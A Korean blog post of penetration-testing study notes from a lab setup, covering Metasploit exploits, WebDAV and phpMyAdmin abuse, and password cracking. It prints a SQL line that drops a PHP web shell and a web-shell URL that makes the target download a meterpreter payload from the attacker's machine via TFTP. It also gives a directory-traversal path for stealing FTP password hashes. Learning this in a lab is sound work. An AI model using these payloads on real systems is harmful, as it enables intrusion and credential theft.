모의해킹 공부 - (2)

yxxun1216·2023년 1월 23일
0

Exploitation


Revisting MS08-067

kali에서 metasploit을 실행한 후 windows/smb/ms08_067_netpai를 입력하면 MS08_067 악용과 호환되는 payload를 보도록 지정할 수 있다.
show payloads 명령어 입력하면 payload를 확인할 수 있다.

meterpreter

payload를 설정한다.

RHOST를 공격대상의 IP로 설정하고 exploit한다.

exploit에 성공하면 명령어를 입력할 수 있도록 meterpreter가 나온다.

Exploiting WebDAV Default Credential

kali에서 공격을 위해 test 파일을 만든다.

Cadaver를 사용하여 WebDAV에 로그인한다. 아이디는 wampp, 비밀번호는 xampp이다.

put 명령어를 사용하여 test 파일을 업로드 한다.

직접 웹사이트로 접속해보면 다음을 확인할 수 있다.

텍스트 파일 외에 php파일을 업로드 할 수 있는지 확인한다.

텍스트 파일보다 php파일이 더 유용하므로 php파일을 사용하는 방법을 공부한다.

Uploading a Msfvenom Payload

Msfvenom을 사용하기 위해 payload를 확인한다.

명령어 뒤에 --list-option을 붙여주면 원하는 정보를 더 정확하게 찾을 수 있다.

LHOST를 kali의 IP주소로 설정하고, LPORT를 2323번으로 설정한다. -f 옵션으로 raw 데이터를 출력한다. raw php code를 php파일로 pipe 할 수 있다.

파일을 WebDAV를 이용하여 업로드한다.

handler를 설정하여 exploit 한다.

업로드된 payload를 웹브라우저를 열어 실행할 수 있고 getuid 명령어를 사용하여 권한을 확인할 수 있다.

Exploiting Open phpMyAdmin

Windows XP의 IP 주소로 phpMyAdmin에 접속한다. SQL을 선택하여 스크립트를 작성한다.

SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\shell.php"

이대로 결과를 실행해보면 위와 같은 오류가 발생한다. cmd 매개변수를 주어야 제대로 작동하는 것을 볼 수 있다.

주소창을 확인하면 cmd의 매개변수로 ipconfig 명령어를 입력한 것을 알 수 있다.

Downloading a File with FTP

복잡한 SQL SELECT 쿼리를 만드는 대신 kali에 파일을 호스팅 한 다음 php셸을 사용하여 웹 서버로 끌어낸다. Windows XP에서는 TFTP를 사용할 수 있다.
Atftpd의 daemon mode로 meterpreter.php 스크립트 위치에 파일을 제공한다.

cmd 매개변수를 다음과 같이 설정한다.

http://<kali IP>/shell.php?cmd=tftp <kali IP> get meterpreter.php C:\\xampp\\htdocs\\meterpreter.php

이제 handler를 설정하고 meterpreter shell을 열 수 있다.

Downloading Sensitive Files

Zervit 서버의 3232 포트가 directory traversal 취약점이 있다. 이를 통해 암호 해시 및 서비스 포함 파일을 가져온다.

FileNilla FTP 서버의 server.xml파일에 FTP 암호인 MD5 해시 암호가 저장되어 있다.

http://<kali IP>:3232/index.html? ../../../../../../xampp/FileZillaFtp/FileZilla%20Server.xml

위 주소로 파일을 찾을 수 있고 파일을 다운받아 암호를 찾을 수 있다. SAM 파일도 비슷한 방법으로 다운 가능하다.

Exploiting a Buffer Overflow in Third-Party Software

Windows XP에 POP3 취약점을 이용한다.

payload 확인 후 payload, RHOST, LHOST를 설정하여 exploit 한다.

Exploiting Third-Party Web Application

TikiWiki CMS 1.9.8 버전에 code execution 취약점을 이용한다. metasploit에서 TikiWiki를 찾는다.


tikiwiki_graph_formula_exe를 이용한다.

payload, LHOST를 kali의 IP, RHOST를 타깃 Ubuntu의 IP로 설정하고 exploit 한다.

Exploiting a Compromised Service

타깃 Ubuntu의 FTP 서버에 백도어가 포함되어 있으면 :) 기호를 사용할 때 로그인 오류가 발생하여 백도어에 접근이 가능해진다.

Exploiting Open NFS Shares

타깃 Ubuntu에 특별한 증명 없이도 NFS를 이용할 수 있는 취약점을 이용하여 kali로 NFS에 mounting한다.


Password Attacks


Password Management

암호를 이용한 인증은 위험성이 있다.

생체 인식이나 이중 인증을 사용하여 이러한 위험을 완화하기도 한다.

이중 인증이 불가능한 경우 강력한 암호를 사용하는 것이 필수이다. 길고 복잡한 문자들을 사용하면 강력한 암호를 만들 수 있지만 이는 기억하기 어렵고, 스마트폰이나 노트에 암호를 남기면 추적에 쉬워져 오히려 보안을 손상시킬 수도 있다.

또한 같은 암호를 반복해서 사용하는 경우 보안을 손상시킬 수 있다.

Online Password Attacks

username이나 password를 직접 유추하여 텍스트 파일로 만들 수 있다. ceWL에서는 회사의 웹사이트를 조사하여 word list를 만든다.

--help 옵션으로 ceWL을 어떻게 사용할 수 있는지 확인 가능하다.

crunch 명령어를 사용하면 원하는 옵션에 맞게 가능한 모든 문자를 조합할 수 있다.

위 예시는 알파벳 대문자 A,B 만을 이용하여 7글자의 조합을 만드는 것이다.
이렇게 가능한 모든 조합으로 암호를 입력해보는 방법을 brute-forcing이라고 한다.

Guessing Usernames and Passwords with Hydra

Hydra는 서비스 실행을 위해 username과 password를 추측하여 테스트하는 도구이다.

직접 만든 userlist와 passwordfile을 가지고 Hydra를 실행했다.

Offline Password Attacks

해시 함수는 단방향이기 때문에 역으로 암호를 알아낼 수 없지만 암호를 추측하여 같은 해시값을 갖는 방법으로 알아낼 수 있다.
metepreter에서 hashdump라는 명령어를 사용한다.

John the Ripper

John the ripper는 존재하는 텍스트 파일로 brute force를 시행하는 방법이다. 레인보우 테이블(해쉬 쌍을 미리 계산하여 저장한 표)을 이용하는 방법도 있다.
john <텍스트파일.txt> 명령어로 실행 가능하다.

Cracking Linux Passwords

John the ripper를 이용하여 linux의 passwrod hash를 찾는 방법이다. 리눅스의 shadow 파일로 John the ripper를 실행한다.

Dumping Plaintext Passwords from Memory with Windows Credential Editor

windows에 WCE(windows credential editor)를 설치하는 방법이다.

0개의 댓글